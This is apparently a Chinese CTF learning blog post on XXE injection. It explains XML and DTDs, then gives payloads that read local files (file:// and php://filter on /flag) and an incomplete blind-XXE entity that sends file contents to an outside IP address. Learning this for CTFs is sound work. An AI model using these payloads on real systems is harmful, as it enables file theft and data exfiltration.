XXE

前言

​ ghctf2025遇到了一道xxe的题目,这里开始学习并总结一下xxe的知识点

一、什么是xxe?

​ xxe就是xml外部实体注入,是由于未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。

​ 只说这些肯定看不懂,我们先解释一下xml是什么,xml的语法是怎样的,xml的DTD又是什么,内部文档和外部文档的区别有哪些。

xml简单介绍

​ xml是一种类似HTML的标记语言,被设计用于结构化传输和储存数据。

​ XML文档由元素构成,每个元素包括开始标签、结束标签和元素内容。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?> 
<note>  <to>Tove</to> 
    <from>Jani</from>  
    <heading>Reminder</heading> 
    <body>Don't forget me this weekend!</body>
</note>

​ 其中第一行的是xml版本声明, 是根元素,是必须要有的。其他的可以随意改变。但不能改变格式,如’’。

文档类型定义(DTD)

​ DTD的作用是定义 XML 文档的合法构建模块。 可被成行地声明于 XML 文档中,也可作为一个外部引用。

Photo by Florian Klauer on Unsplash

​ 每一个中都对应了一个标签,这就是内部实体,解释为**!ELEMENT to** (第四行)定义 to 元素为 “#PCDATA” 类型。

​ 这就是内部文档声明

Photo by Florian Klauer on Unsplash

​ 外部文档就是把上述的框架写在一个.dtd文件里面。而这,就是xxe漏洞的开始。

​ 外部文件可以是网站中已有的文件,这就代表可以用这个方法恶意读取文件。

xxe漏洞注入流程

​ 了解了基础知识,接下来就是xxe的流程

检测xxe漏洞是否存在

​ 如果有源码的话,不妨丢给ai。

​ 如果有注入点,可以尝提交liernian,查看是否有liernian的回显

​ 如果没有注入点,那就直接抓包把pyload放进包内(这里就是方法了,无注入点,无源码的情况还没遇到过)

Photo by Florian Klauer on Unsplash

构造pyload

有回显xxe

​ 给两个示例

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>

<test>&ddd;</test>
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE creds [
  <!ENTITY xx SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<creds>
  <ctfshow>&xx;</ctfshow>
</creds>

​ 以第二个pyload为例首先是版本

1
<?xml version="1.0"?>

​ 然后定义根元素 creds

1
2
3
<!DOCTYPE creds [
  
]>

​ 在根元素里定义xx变量,用于接受读取的文件内容

1
2
3
<!DOCTYPE creds [
  <!ENTITY xx SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>

​ 然后是xml部分,根元素一定要和定义的一样

1
2
3
<creds>
  
</creds>

​ 根元素里写其他元素(元素名为ctfshow是题目要求),里面输入刚刚定义的变量xx

1
2
3
<creds>
  <ctfshow>&xx;</ctfshow>
</creds>

无回显xxe

Photo by Florian Klauer on Unsplash

​ 和一种类似,看懂了第一种就看得懂第二种 ​ 值得一提的是,第二种需要你有自己的服务器,将回显内容输出到自己的服务器上

​ 这里详细讲讲如何操作

​ 例题ctfshow web374

​ 无回显xxe,我们用腾讯云抢占式实例监听器+final shell ProbiusOfficial/TCL: TCL-TencentCloudListener 腾讯云抢占式实例监听器

​ 打开后在终端

​ 输入

1
2
3
<!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://:43.154.186.213:9001/%file>">
%dtd;
%xxe;

未完待续

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计